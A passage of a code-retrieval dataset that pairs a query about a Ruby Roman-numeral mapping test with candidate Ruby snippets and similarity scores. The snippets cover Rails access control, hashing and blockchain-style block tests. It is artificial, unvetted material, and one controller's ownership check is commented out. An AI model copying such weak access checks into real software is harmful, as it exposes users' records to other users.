"def active_customer\n if (current_customer && !current_customer.active?)\n redirect_to(job_requests_url)\n end\n end",
"def show\n # Prevents unauthorized access by other users\n # if !current_user.purchases.where(:id => @purchase.id).any?\n # flash[:notice] = \"You don't have permission to view that page!\"\n # redirect_to current_user\n # return\n # end\n\n end",
"def customer_id\n @booking_profile.try(:external_user_id)\n end",
"def customer(customer)\n self.all.select {|rev| rev.customer == customer}\n end",
"def my_account\n @user = current_user\n @listings = Listing.where(user: current_user)\n end",
"def listings\n authorize! :read, @user\n end",
"def show\n #allowing a \"buyer\" to purchase \n if params[:checkout] == \"success\"\n #update buyer - creating a new buyer and linking that to the profile table before updating the buyer and saving \n Buyer.create(profile_id: current_user.profile.id)\n @listing.buyer_id = current_user.profile.buyer.id\n @listing.save\n end\n end",
"def show\n @customer = current_customer\n end",
"def show\n @customer_set = CustomerSet.find(params[:id])\n @customers = @customer_set.get_customers(current_user)\n @other_sets = @customer_set.get_all_but_existing\n end",
"def index\n if (!current_user.admin?)\n @user= current_user\n @bookings = @user.bookings.all\n else\n @bookings = Booking.all\n end\n end",
"def check_unattended_orders\n if session.delete(:just_logined) == true && @current_user\n if @current_user.is_merchant\n @unattended_orders = @current_user.products.collect(&:orders).first.\n where(\"(status is null OR status = 1) AND orders.created_at >= ?\", @current_user.last_signed_out_at)\n end\n end\n end",
"def is_blacklisted_for?(user)\n user && user.id != self.id && self.is_premium? && self.blacklist_ids.include?(user.id)\n end",
"def is_owner?(item)\n current_user_id == item.user_id\n end",
"def is_customer?\n if self.is_a? Patient\n return true\n end\n false\n end",
"def admin_customer\n redirect_to(root_url) unless current_customer.admin?\n end",
"def show\n authorize @customer, :show?\n end",
"def customer?\n \n customers = Customer.where([\"email_company_contact = ?\", email])\n #customer_id = Customer.find()\n if customers.size > 0\n true\n else\n end\n end",
"def show\n @checkout = Checkout.find(params[:id])\n if current_user.blank?\n access_denied; return\n end\n unless current_user.has_role?('Librarian') \n unless current_user.id == @checkout.user.id\n access_denied; return\n end\n end\n\n respond_to do |format|\n format.html { render :template => 'opac/checkouts/show', :layout => 'opac' } if params[:opac]\n format.html # show.html.erb\n format.json { render :json => @checkout }\n end\n end",
"def show\n @lists = @cocktail.lists.where(user_id: @current_user)\n # raise \"hell\"\n end",
"def set_customer\n @customer = current_customer_user\n end",
"def the_other_user(current_user)\n is_buyer_side?(current_user) ? self.seller : self.buyer\n end",
"def user_item_is_not_current_item(record)\n User.find(record.user.id).send(item_plural(record)).find_by(name: record.name).id != record.id\n end",
"def index\n if(current_customer.role_check == 'admin')\n @reservations = Reservation.all\n else\n @reservations = Reservation.find_by_customer(current_customer)\n if @reservations.empty?\n flash[:notice] = \"No reservations made\"\n end\n end\n end",
"def meals\n Meal.all.select {|m| m.customer == self}\n end",
"def index\n @customers = Customer.where(:warehouse_id=>current_user.parent_id)\n end",
"def merchant?\n self.user_type == 'Merchant'\n end",
"def pick_customer_not(space_user)\n all_customers = []\n all_users = User.all\n customer = \"\"\n all_customers = all_users.reject {|x| x == space_user }\n customer = all_customers.sample\n return customer\nend",
"def show\n redirect_to :root unless @reservation.requester == current_user\n end",
"def list\n display_customers\n end",
"def index\n if current_user.try(:admin?)\n @customer_adds = CustomerAdd.all\n else\n @customer = Customer.find_by email: current_user.email\n @customer_add = CustomerAdd.find_by c_id: @customer.customer_id\n\n redirect_to \"/customers/\", id: @customer_add.id\n end\n end",
"def any_lists?\n current_user.lists.any?\n end"
] | [
"0.69790554",
"0.6539256",
"0.6421201",
"0.6351789",
"0.6351789",
"0.62812513",
"0.6275583",
"0.62451875",
"0.62194324",
"0.6206096",
"0.61729664",
"0.6149185",
"0.6140065",
"0.61390465",
"0.6138833",
"0.61166704",
"0.60900277",
"0.60706234",
"0.60574955",
"0.6026456",
"0.6024296",
"0.59968853",
"0.5974329",
"0.59546864",
"0.59508777",
"0.59482944",
"0.59426177",
"0.59411365",
"0.5921556",
"0.5908757",
"0.58887947",
"0.58826417",
"0.5877285",
"0.58627105",
"0.58024794",
"0.57852125",
"0.57666755",
"0.5759028",
"0.5755889",
"0.57429916",
"0.57353306",
"0.5729699",
"0.5713308",
"0.57090867",
"0.5706448",
"0.57027686",
"0.5686238",
"0.56634486",
"0.56591535",
"0.5649048",
"0.5642176",
"0.5632468",
"0.56281304",
"0.5626846",
"0.5626363",
"0.5614537",
"0.5614164",
"0.5607863",
"0.55936134",
"0.55856884",
"0.5582303",
"0.55813503",
"0.5575206",
"0.5574526",
"0.5572977",
"0.5571923",
"0.55710244",
"0.5566705",
"0.555478",
"0.5548705",
"0.55465436",
"0.55316025",
"0.553022",
"0.55286556",
"0.5522841",
"0.5521196",
"0.55199677",
"0.549265",
"0.54819137",
"0.5476327",
"0.54626846",
"0.54531157",
"0.54493105",
"0.544853",
"0.5441624",
"0.5440543",
"0.54392725",
"0.54350376",
"0.5433467",
"0.5428988",
"0.5427492",
"0.54273546",
"0.5425682",
"0.5416057",
"0.54158497",
"0.54154605",
"0.5411511",
"0.5409435",
"0.54075867",
"0.5391037",
"0.53905046"
] | 0.0 | -1 |
A list of the param names that can be used for filtering the Product list | def filtering_params(params)
params.slice(:omnisearch)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def filtering_params(params)\n params.slice(:shortlist, :client, :category, :updated_at, :costmodel, :state, :prio)\n end",
"def filtering_params(params)\n\t\t params.slice(:name, :category_id, :trademark)\n\t\tend",
"def parameters_to_filter\n @parameters_to_filter ||= []\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def filtering_params(params)\n \tparams.slice(:make, :color, :drive, :has_keys, :year, :state, :lot_number, :buy_now_price, :auction)\n\tend",
"def filtered_parameters; end",
"def filtering_params(params)\n params.slice(:model_name, :brand_name,:year,:mileage)\n end",
"def parameter_names\n @parameters.map { |info| info.name }.join(', ')\n end",
"def filtering_params(params)\n params.slice(:user, :minprice, :maxprice, :status, :sortby, :pricesort, :datesort)\n end",
"def filtered_params\n %i[roles provider_type]\n end",
"def pnames\n @params.keys\n end",
"def filter_parameters\n if @filter_parameters\n @filter_parameters || []\n else\n defined?(Rails) && Rails.application.config.filter_parameters\n end\n end",
"def filtering_params(params)\n params.slice(:term)\n end",
"def filtering_params(params)\n params.slice(:desired_location, :max_price_dollars, :tour_name, :earliest_start, :latest_end, :min_seats)\n end",
"def filtering_params(params)\n params.slice(:firstname, :lastname, :company)\n end",
"def set_filters\n filter_param_keys = [\n 'brand', 'color',\n 'size', 'department', 'keywords'\n ]\n @filters = []\n filter_param_keys.each do |key|\n if !params[key].blank?\n params[key].split(',').each do |val|\n @filters << {:key => key, :val => val}\n end\n end\n end\n \n \n if params[:price]\n params[:price].split(',').each_slice(2).to_a.each do |range|\n @filters << {:key => 'price', :val => range.join(',')}\n end\n end\n\n if @products\n @brands = @products.facet('brand_facet').rows.sort_by{ |brand| brand.value.capitalize}\n @departments = @products.facet('department_facet').rows\n end\n \n @colors = ['green', 'blue', 'purple', 'red', 'pink', 'beige', 'brown', 'yellow', 'orange', 'black', 'white', 'gray', 'teal', 'glowing', 'gold', 'silver']\n \n if [email protected]? && @taxon.has_size?\n sizes = (Spree::Product.sizes.sort_by{|size| size.position}.map(&:presentation) & @products.facet(\"size_facet\").rows.map(&:value))\n end\n end",
"def applicable_filters\n fs = []\n products_searched = []\n\n if params[:search] \n if @products\n @products.each do |p|\n products_searched << p.id\n end\n end\n else\n products_searched = @taxon.products.all.pluck(:id)\n end\n\n fs << Spree::Core::ProductFilters.selective_filter('Quantity', :selective_quantity_any, products_searched) if Spree::Core::ProductFilters.respond_to?(:selective_filter)\n fs << Spree::Core::ProductFilters.selective_filter('Manufacturer', :selective_manufacturer_any, products_searched) if Spree::Core::ProductFilters.respond_to?(:selective_filter)\n fs << Spree::Core::ProductFilters.selective_filter('Use Type', :selective_use_type_any, products_searched) if Spree::Core::ProductFilters.respond_to?(:selective_filter)\n fs << Spree::Core::ProductFilters.selective_filter('Bullet Type', :selective_bullet_type_any, products_searched) if Spree::Core::ProductFilters.respond_to?(:selective_filter)\n fs << Spree::Core::ProductFilters.selective_filter('Bullet Weight', :selective_bullet_weight_any, products_searched) if Spree::Core::ProductFilters.respond_to?(:selective_filter)\n fs << Spree::Core::ProductFilters.selective_filter('Ammo Casing', :selective_ammo_casing_any, products_searched) if Spree::Core::ProductFilters.respond_to?(:selective_filter)\n fs << Spree::Core::ProductFilters.selective_filter('Ammo Caliber', :selective_ammo_caliber_any, products_searched) if Spree::Core::ProductFilters.respond_to?(:selective_filter)\n fs << Spree::Core::ProductFilters.selective_filter('Primer Type', :selective_primer_type_any, products_searched) if Spree::Core::ProductFilters.respond_to?(:selective_filter)\n fs << Spree::Core::ProductFilters.selective_filter('Condition', :selective_condition_any, products_searched) if Spree::Core::ProductFilters.respond_to?(:selective_filter)\n fs << Spree::Core::ProductFilters.price_filter(products_searched) if Spree::Core::ProductFilters.respond_to?(:price_filter)\n fs\n \n end",
"def filtering_params(params)\n unless params[:search]\n return []\n end\n # {\"price_from\"=>\"50.000\",\n # \"price_till\"=>\"\",\n # \"property_type\"=>\"propertyTypes.bungalow\",\n # \"locality\"=>\"#<OpenStruct value=\\\"provincias.cadiz\\\", label=\\\"Cádiz\\\">\",\n # \"zone\"=>\"#<OpenStruct value=\\\"provincias.ciudadReal\\\", label=\\\"Ciudad Real\\\">\",\n # \"count_bedrooms\"=>\"6\",\n # \"count_bathrooms\"=>\"\",\n # \"property_state\"=>\"propertyStates.brandNew\"}\n params[:search].slice(:in_locality, :in_zone, :for_sale_price_from, :for_sale_price_till, :for_rent_price_from,\n :for_rent_price_till, :property_type, :property_state, :count_bathrooms, :count_bedrooms)\n end",
"def list_filter_options(**opt)\n # TODO: ???\n end",
"def params_with_values names, local_params = params\n local_params.select {|k,v| names.include?(k) && !v.blank?}\n end",
"def products\n products_list\n .where(@filterable.filter_params)\n .order(@sortable.sort_params)\n .page(@paginator.current_page).per_page(@paginator.page_size)\n end",
"def filtering_params(params)\n params.slice(:starts_with)\nend",
"def set_filters\n @filters ||= begin\n filters = []\n filters << { attribute: Gemgento::ProductAttribute.find_by!(code: 'color'), value: params[:color] } unless params[:color].blank?\n filters\n end\n end",
"def filtering_params(params)\n params.slice(:id, :tipo)\n end",
"def filtering_params(params)\n params.slice(:business_id, :location, :starts_with)\n end",
"def filtered_parameters\n @filtered_parameters ||= parameter_filter.filter(parameters)\n end",
"def tags_for_filter(current:)\n if filtered_by_tag?(current)\n tags_from_params - Array(current.name)\n else\n tags_from_params.push(current.name)\n end.uniq.join(\",\")\n end",
"def asset_params\n params.select{|key,value| key.in?(Asset.column_names())}\n end",
"def listproduct_params\n params.fetch(:listproduct, {}).permit(:list_id, :skuid, :search)\n end",
"def parse_filters(params)\n if params['filters'].blank?\n Utilities::Geo::REGEXP_COORD.keys\n else\n params.permit(filters: [])[:filters].map(&:to_sym)\n end\n end",
"def param_names\n\t\treturn self.constraints.keys.map( &:to_s ).sort\n\tend",
"def params\n [<%= attributes.map {|a| \":#{a.name}\" }.sort.join(', ') %>]\n end",
"def filtering_params\n params.slice( :title, :location )\n end",
"def filtering_params(params)\n\t params.slice(:search, :title, :content)\n\tend",
"def filter_parameters=(_arg0); end",
"def filter_parameters=(_arg0); end",
"def filter_method_params\n params.fetch(:filter_method, {})\n end",
"def anonymous_filter_params\n p = params.required('payload')\n # p.permit!('controls_params')\n # p.permit!('columns_params')\n # p.permit!('sorting')\n # p.permit!('global_config')\n p.permit(\n 'name',\n 'controls_list' => [],\n 'controls_hl_mode' => [],\n 'controls_params' => {},\n 'columns_list' => [],\n 'columns_params' => {},\n 'sorting' => {},\n 'global_config' => {}\n ).merge(permit_hashes(p, [\n 'controls_params',\n 'columns_params',\n 'sorting',\n 'global_config'\n ]))\n end",
"def list_filter(**opt)\n # May be overridden by the subclass.\n end",
"def available_filters\n unless @available_filters\n initialize_available_filters\n @available_filters.each do |field, options|\n options[:name] ||= l(options[:label] || \"field_#{field}\".gsub(/_id$/, ''))\n end\n end\n @available_filters\n end",
"def product_params\n params[:product]\n end",
"def filter_params(_sub_object_attribute = nil)\n required = :returns_lbtt_tax\n attribute_list = Lbtt::Tax.attribute_list\n params.require(required).permit(attribute_list) if params[required]\n end",
"def filtered_search_product_ids(filter_params)\n\n # Select ids of attributes linked to search product.\n search_product_attribute = SitescanCommon::AttributeClass\n .where(depend_link: true)\n\n # Set condition to select product attributes related to search product.\n sql = where( attributable_type: SitescanCommon::SearchProduct )\n\n ids = nil\n\n # If the filter contains one or more options.\n if filter_params[:o]\n\n # Select classs attribute ids related to the filter options.\n sr_opt_attr_ids = search_product_attribute\n .joins(:attribute_class_options)\n .where(attribute_class_options: { id: filter_params[:o] }).ids\n\n # For each class attribute select product attribute ids.\n sr_opt_attr_ids.each do |attr_id|\n\n # Select options ids related to the class attribute.\n search_product_option_ids = SitescanCommon::AttributeClassOption\n .where(attribute_class_id: attr_id, id: filter_params[:o]).ids\n\n # Select Search products ids filtered by option or list of options.\n # Options which belong to same list type attribute conjuct with\n # OR logical condition.\n sr_opt_ids = sql.joins(%{ JOIN attribute_options ao\n ON ao.id=product_attributes.value_id\n AND value_type='#{ SitescanCommon::AttributeOption.to_s }' AND\n attribute_class_option_id IN (#{search_product_option_ids.join ','})})\n .pluck :attributable_id\n\n # Attributes conjuct with AND logical condition.\n ids = if ids then ids & sr_opt_ids else sr_opt_ids end\n end\n end\n\n # If filter has nubmer attributes.\n if filter_params[:n]\n filter_numbers = search_product_attribute.ids & filter_params[:n].keys\n filter_numbers.each do |key, value|\n unless key == 0\n num_condition = []\n num_condition << 'value>=:min' if value[:min]\n num_condition << 'value<=:max' if value[:max]\n num_condition << 'attribute_class_id=:attr_cls_id'\n sr_num_ids = sql.join( %{ JOIN attribute_numbers an\n ON an.id=product_attributes.value_id\n AND value_type='#{SitescanCommon::AttributeNumber.to_s}' } )\n .where(num_condition.join ' AND ', value.merge(attr_cls_id: key))\n .pluck :attributable_id\n ids = if ids\n ids & sr_num_ids\n else\n sr_num_ids\n end\n end\n end\n end\n ids\n end",
"def filtering_params(params)\n params.slice(:id, :email, :password, :admin)\n end",
"def index \n @products = Product.all\n @products = @products.filter_by_category(params[:category]) if params[:category].present?\n @products = @products.filter_by_name(params[:name]) if params[:name].present?\n @products = @products.paginate(:page => params[:page], :per_page => 10)\n end",
"def filtering_params(params)\n params.slice(:role, :query)\n end",
"def parameters\n context.parameters.map(&:name)\n end",
"def filtering_params\n params.slice(:country, :data_source, :vaccine,\n :date_updated_start_date, :date_updated_end_date,\n :first_vaccine_date_start, :first_vaccine_date_end)\n end",
"def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end",
"def needed_params\n param_str = String.new(term_class.params)\n res = []\n while param_str.sub! /%([^%\\s]+)%/, '' do\n res << $1\n end\n res.sort\n end",
"def tags_from_params\n search_filter_params[:tagged_with].to_s.split(\",\")\n end",
"def filter_params(_sub_object_attribute = nil)\n required = :returns_lbtt_lbtt_return\n return {} unless params[required]\n\n not_required = %i[returns_lbtt_link_transactions returns_lbtt_yearly_rent]\n permit = { returns_lbtt_link_transactions: Lbtt::LinkTransactions.attribute_list,\n returns_lbtt_yearly_rent: Lbtt::YearlyRent.attribute_list }\n attribute_list = Lbtt::LbttReturn.attribute_list\n # to store multiple check box values in model attribute we will require to\n # pass them as array in filter param this method will convert attribute to array\n # ref url :https://www.sitepoint.com/save-multiple-checkbox-values-database-rails/\n attribute_list[attribute_list.index(:sale_include_option)] = { sale_include_option: [] }\n params.require(required).permit(attribute_list, permit).except(*not_required)\n end",
"def object_params\n if params[\"product_group\"] and params[\"product_group\"][\"product_scopes_attributes\"].is_a?(Array)\n params[\"product_group\"][\"product_scopes_attributes\"] = params[\"product_group\"][\"product_scopes_attributes\"].group_by {|a| a[\"id\"]}.map do |scope_id, attrs|\n a = { \"id\" => scope_id, \"arguments\" => attrs.map{|a| a[\"arguments\"] }.flatten }\n if name = attrs.first[\"name\"]\n a[\"name\"] = name\n end\n a\n end\n end\n params[\"product_group\"]\n end",
"def filters\n [\n [\"Id\", \"id\"],\n [\"Added By\", \"created_by\"], \n [\"Updated By\", \"updated_by\"]\n ]\n end",
"def filtering_params(params)\n params.slice(:added_by, :after, :before)\n end",
"def parameters(params)\n allowed = [:start,:num,:type,:id,:filter,:tagged,:search,:state,:email,:password]\n params.merge! defaults if defaults\n params.reject {|key,value| !allowed.include? key }\n end",
"def filter_params(_sub_object_attribute = nil)\n required = :returns_slft_slft_return\n output = {}\n output = params.require(required).permit(Slft::SlftReturn.attribute_list) if params[required]\n\n output\n end",
"def product_list_params\n params.require(:product_list).permit(:product_name, :quantity, :measure, :list_name, \n product_names_attributes: [:id, :product_name, :quantity, :measure, :_destroy])\n end",
"def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end",
"def param_list(param)\n if params[param].blank?\n nil\n else\n params[param].split(',')\n end\n end",
"def product_name_params\n params.require(:product_name).permit(:product_name, :quantity, :measure, :productlists_id)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def permitted_params\n columns.map { |name,multiple| multiple ? { name => [] } : name }\n end",
"def product_params\n params.require(:product).permit(:page,:product_name,:brand_id,:category_id,:desc,:avatar,:inventory,:store_id,:price,:inventory_policy,:sku,:token,option_value: [], option_name: [])\n end",
"def filters\n mentos(:get_all_filters)\n end",
"def collectible_attribute_list_params\n params.fetch(:collectible_attribute_list, {})\n end",
"def do_params_filter_and_sort scope\n do_params_sort do_params_filter scope\n end",
"def whitelisted_filters_for(name, klass)\n requested_parameters = as_array(@params[name])\n if requested_parameters.empty?\n []\n else\n klass.where(slug: requested_parameters)\n end\n end",
"def get_all()\n @params\n end",
"def parameters\n # cache parameters so sorting is necessary only once - this saves a lot of time...\n @parameters ||= categories.values.flatten.sort\n end",
"def product_params\n params.require(:product).permit(:name, :description, :project_id,\n feature_ids: [])\n end",
"def products\n if Product.respond_to?(name)\n Product.send(name, *arguments)\n end\n end",
"def index\n\t\t@products = Product.search(params[:search]).filter_category(params[:filter_category]).filter_types(params[:types]).filter_volume(params[:minvol], params[:maxvol]).filter_length(params[:minlen], params[:maxlen]).filter_width(params[:minwid], params[:maxwid]).filter_height(params[:minheig], params[:maxheig]).filter_diameter(params[:mindiam], params[:maxdiam]).filter_cover(params[:cover]).order(params.fetch(:sort, \"position ASC\"))\n end",
"def product_params\n params.fetch(:product, {})\n end",
"def product_params\n params.fetch(:product, {})\n end",
"def filter_params(params)\n attributes = self.class._attributes\n params.keep_if {|name, value|\n attributes.key?(name)\n }\n end",
"def filter_params(params)\n attributes = self.class._attributes\n params.keep_if {|name, value|\n attributes.key?(name)\n }\n end",
"def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end",
"def list_params\n params.require(:list).permit(:name, :title, :image, :image_url, :product_image, :product_name, :product_url, :product_review, :rate, tag_ids: [])\n end",
"def set_filters\n @filters = ''\n @filters.concat(\"status:'Available'\")\n unless @manufacturer_or_publisher.blank?\n @filters.concat(\" AND (manufacturer:'#{@manufacturer_or_publisher}'\")\n @filters.concat(\" OR publisher:'#{@manufacturer_or_publisher}')\")\n end\n @filters.concat(\" AND category:'#{@category}'\") unless @category.blank?\n @filters.concat(\" AND seller_name:'#{@seller_name}'\") unless @seller_name.blank?\n end",
"def resource_filter_permitted_params\n %i[page per_page]\n end",
"def filters\n end",
"def list_available_params\n cg_reader.list_available_params\n end",
"def required_custom_params\n custom.select{|param| param[\"required\"]}.map{|param| param[\"name\"]}\n end",
"def multiple_parameters\n @parameters = HostParameter.where(:reference_id => @hosts).select(\"distinct name\")\n end",
"def list_item_fetched_params\n\t params.fetch(:list_item, {}).symbolize_keys\n\t end",
"def filter_params\n params.require(:filter).permit(:name, :brand, :description, :notes)\n end",
"def product_params\n params.require(:product).permit(:substancename, :nonproprietaryname, :propname, :producttype, :dosageform, :routename, :marketingcategory, :activenumerator, :activeingredunit, :seller_id, :price, :term, :order)\n end",
"def list_filter_options(**opt)\n # May be overridden by the subclass.\n end",
"def query_parameters\n params = {}\n params['filter'] = @optional['filter'] if @optional['filter']\n params\n end",
"def product_params\n params.require(:product).permit(:category_id, :user_id, :name, :description, :r_action, :status, :search, :type, photos: [])\n end",
"def products()\n return filter_products()\n end",
"def list_params\n params[:list]\n end",
"def product_params\n params.require(:product).permit(:name, :soil, :utilization, :active, :photo, :description, :cycle_id, :purpose_ids =>[], :products_purposes_relation_ids =>[], :cultivation_ids =>[])\n end",
"def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end",
"def list_filter(counts: nil, **opt)\n # TODO: ???\n end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def product_params\n params.require(:product).permit(:name, :supplier_id, :place_id, category_id: [])\n end",
"def filtering_params(params)\n params.slice(:selecteduser, :weekstart, :weekend, :jobnumber)\nend"
] | [
"0.70020515",
"0.6862293",
"0.68012214",
"0.6720072",
"0.6720072",
"0.6699814",
"0.66959554",
"0.65927076",
"0.65341085",
"0.64942545",
"0.64033616",
"0.6365154",
"0.6350503",
"0.6294092",
"0.6289431",
"0.62864137",
"0.6264937",
"0.62618184",
"0.6206471",
"0.62015015",
"0.61550575",
"0.6143555",
"0.6139969",
"0.61375904",
"0.6128305",
"0.6127163",
"0.6089908",
"0.6082368",
"0.60758984",
"0.606465",
"0.60243",
"0.60174316",
"0.60073566",
"0.6006581",
"0.5986747",
"0.5984859",
"0.5984859",
"0.5980649",
"0.5973788",
"0.5972251",
"0.59610337",
"0.5946818",
"0.59420055",
"0.5936662",
"0.5925382",
"0.5912258",
"0.5902306",
"0.5895492",
"0.58850205",
"0.586991",
"0.58672714",
"0.5855753",
"0.58456874",
"0.58456826",
"0.58271587",
"0.5826962",
"0.581633",
"0.5801637",
"0.57998866",
"0.5794717",
"0.5782683",
"0.5782498",
"0.5779708",
"0.5771597",
"0.57710934",
"0.57699865",
"0.57694596",
"0.57687855",
"0.5761149",
"0.5758644",
"0.5757959",
"0.57437795",
"0.5741014",
"0.57399714",
"0.57348716",
"0.57341814",
"0.5732847",
"0.5732847",
"0.5730468",
"0.5727724",
"0.5726169",
"0.5706451",
"0.57045066",
"0.5699689",
"0.5687599",
"0.56849563",
"0.5684618",
"0.5683691",
"0.5682242",
"0.56790835",
"0.5678142",
"0.56770235",
"0.56717914",
"0.56714857",
"0.56690663",
"0.5668588",
"0.5656416",
"0.56488544",
"0.5645912",
"0.5642898"
] | 0.6514961 | 9 |
TEST CASE: MAPPING HASH. IT SHOULD CONTAIN ROMAN LETTERS AND THIER CORESPODING VALUES | def test_mapping_hash
assert_equal(MAPPING, RomanMathmaticalOperation::MAPPING )
assert_not_equal(WRONG_MAPPING, RomanMathmaticalOperation::MAPPING )
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_hash_correct\n\t\n\t\tString test_array1 = '2|abb2|George>Amina(16):Henry>James(4):Henry>Cyrus(17):Henry>Kublai(4):George>Rana(1):SYSTEM>Wu(100)|1518892051.753197000|c72d'.split('|').map(&:chomp)\n\n\t\tx = test_array1[0].unpack('U*') + test_array1[1].unpack('U*') + test_array1[2].unpack('U*') + test_array1[3].unpack('U*')\n\t\tsum = 0\n\t\t# x.each { |i| puts x[i] }\n\t\t# x.delete(\"\")\n\t\tx.each { |i| sum += ((x[i].to_i ** 2000) * ((x[i].to_i + 2) ** 21) - ((x[i].to_i + 5) ** 3)) }\n\t\thash = (sum % 65536)\n\t\tputs hash.to_s(16)\n\t\t\n\t\ttest_array2 = '3|c72d|SYSTEM>Henry(100)|1518892051.764563000|7419'.split('|').map(&:chomp)\n\t\t\n\t\t# assert_equal test_str[2,2], '0|'\t\n\tend",
"def test_hash_empty_string\n knot = KnotHash.new\n assert_equal \"a2582a3a0e66e6e86e3812dcb672a272\", knot.hash('')\n end",
"def test_challenge_26\n idx = f1(\"\").\n bytes.\n zip(f1(\"A\").bytes).\n each_with_index do |(l, r), index|\n break index if l != r\n end\n\n p1 = \"XadminXtrue\"\n c1 = f1(p1)\n refute admin?(c1)\n\n ksb0 = p1[0].ord ^ c1[idx].ord\n ncb0 = ksb0 ^ \";\".ord\n c1[idx] = ncb0.chr\n\n ksb6 = p1[6].ord ^ c1[idx + 6].ord\n ncb6 = ksb6 ^ \"=\".ord\n c1[idx + 6] = ncb6.chr\n\n assert admin?(c1)\n end",
"def test_calc_hash\r\n\t\ts = \"SYSTEM>Gaozu(100)\"\r\n\t\ttb = Block.new(\"0\", \"0\", s, \"1518893687.329767000\", \"fd19\")\r\n\t\tstringVal = tb.get_calculated_hash\r\n\t\tval = stringVal.strip.eql? \"fd18\"\r\n\t\t\r\n\t\tassert_equal val, true\r\n\tend",
"def make_hash\n chars = (\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (\"0\"..\"9\").to_a\n string = \"\"\n 20.times do\n string << chars[rand(chars.size-1)]\n end\n hash = Digest::SHA2.hexdigest(string)\n end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def fourth_anagram?(str1,str2)\n h1 = make_hash(str1) #n\n h2 = make_hash(str2) #n \n h1 == h2\nend",
"def hard(string)\n hasher = KnotHash.new(256, string.bytes + [17, 31, 73, 47, 23])\n 64.times { hasher.round }\n hasher.hash\nend",
"def test_hash_valid_hash\r\n hash_calc = Minitest::Mock.new('test_hash_calculator')\r\n block_checker = Minitest::Mock.new('test_block_checker')\r\n def block_checker.check_hex(string); true; end\r\n def block_checker.get_hash(block, hash_calc); 11000; end\r\n def block_checker.check_hash(actual, stored); true; end\r\n def block_checker.parse(block, char); ['0|abc|1234>1234(4)|1213.34123']; end\r\n block = '0|abc|1234>1234(4)|1213.34123|1234'\r\n output = \"Line 0: String '0|abc|1234>1234(4)|1213.34123' hash set to 1234,should be 2af8\"\r\n assert_nil @g.hash( block, '1234', hash_calc, block_checker, 0)\r\n end",
"def hashify(key)\n array = key.split('')\n count = array.count\n index = array.inject(0) do |object,char|\n object += char.ord ** count\n count -= 1\n object\n end\n index % 89\n end",
"def test_pb_returns_reese\n\t\t(assert_equal(\"reese\", candy_hash(:pb)))\n\tend",
"def test_array_hash\r\n # a = %w(brendan baird billy)\r\n # assert_equal(1047868961, a.hash)\r\n end",
"def my_hash\n {\n name: \"John\",\n email: \"[email protected]\",\n password: ('a'..'z').to_a.sample(16).join\n }\n end",
"def test_data_hash\n [{\n 'PB' => 'Honinbo Shusaku',\n 'BR' => '6d',\n 'PW' => 'Honinbo Shuwa',\n 'WR' => '8d',\n 'GC' => 'game from Hikaru no Go chapter 2, this version only in the anime',\n 'RE' => 'W+4'\n }]\n end",
"def test_hash_invalid_hash\r\n hash_calc = Minitest::Mock.new('test_hash_calculator')\r\n block_checker = Minitest::Mock.new('test_block_checker')\r\n def block_checker.check_hex(string); true; end\r\n def block_checker.get_hash(block, hash_calc); 11000; end\r\n def block_checker.check_hash(actual, stored); false; end\r\n def block_checker.parse(block, char); ['0|abc|1234>1234(4)|1213.34123']; end\r\n block = '0|abc|1234>1234(4)|1213.34123|1234'\r\n output = \"Line 0: String '0|abc|1234>1234(4)|1213.34123' hash set to 1234,should be 2af8\"\r\n assert_equal output, @g.hash( block, '1234', hash_calc, block_checker, 0)\r\n end",
"def test_calculate_hash\n assert_equal '288d', calculate_hash('0|0|SYSTEM>569274(100)|1553184699.650330000', PreHash.new)\n end",
"def test_set_hashpass\n\t\tres = DB.exec(\"SELECT hashpass FROM people WHERE id=1\")\n\t\told_hashpass = res[0]['hashpass']\n\t\tassert old_hashpass.size > 20\n\t\tDB.exec_params(\"SELECT set_hashpass($1, $2)\", [1, 'bl00p€r'])\n\t\tres = DB.exec(\"SELECT hashpass FROM people WHERE id=1\")\n\t\trefute_equal old_hashpass, res[0]['hashpass']\n\t\tassert res[0]['hashpass'].size > 20\n\t\t# password must be > 3 characters\n\t\terr = assert_raises PG::RaiseException do\n\t\t\tDB.exec_params(\"SELECT set_hashpass($1, $2)\", [1, 'x¥z'])\n\t\tend\n\t\tassert err.message.include? 'short_password'\n\tend",
"def test_previous_hash_capital\r\n block_checker = Minitest::Mock.new('test_block_checker')\r\n def block_checker.check_hex(string); false; end\r\n output = \"Line 0: Previous hash was 112F, should be 2710\\nInvalid hex value, must be lowercase and from 0-f\"\r\n assert_equal output, @g.previous_hash( '112F', 10000, block_checker, 0)\r\n end",
"def test_parse_hash_valid\n assert_equal 100000, parse_hash(\"186A0\")\n end",
"def test_get_hash\r\n hash_calc = Minitest::Mock.new('test_hash_calc')\r\n def hash_calc.get_utf(char); [48]; end\r\n def hash_calc.calculate_value(num); 0; end\r\n def hash_calc.calculate_value_string(string); 0; end\r\n def hash_calc.hash_val(total); 0; end\r\n\r\n assert_equal 0, @g.get_hash(\"1|1234|123456>123456(1):456789>456789(1)|1234.12345|\", hash_calc)\r\n end",
"def test_hashify_regular_values\n test_obj = NewTest.new\n test_obj.name = 'sally'\n test_obj.age = 5\n generated_hash = test_obj.hashify\n\n assert_equal('sally', generated_hash[:name])\n assert_equal(5, generated_hash[:age])\n end",
"def test_same_hashes\r\n\t\ts = \"Addr1<Addr2(100):Addr3<Addr4(500)\"\r\n\t\ttb = Block.new(0,0,s,0.0,\"90a2\")\r\n\t\ttb.set_calculated_hash(\"90a2\")\r\n\t\t\r\n\t\tassert_equal(1, tb.compare_current_hash)\r\n\tend",
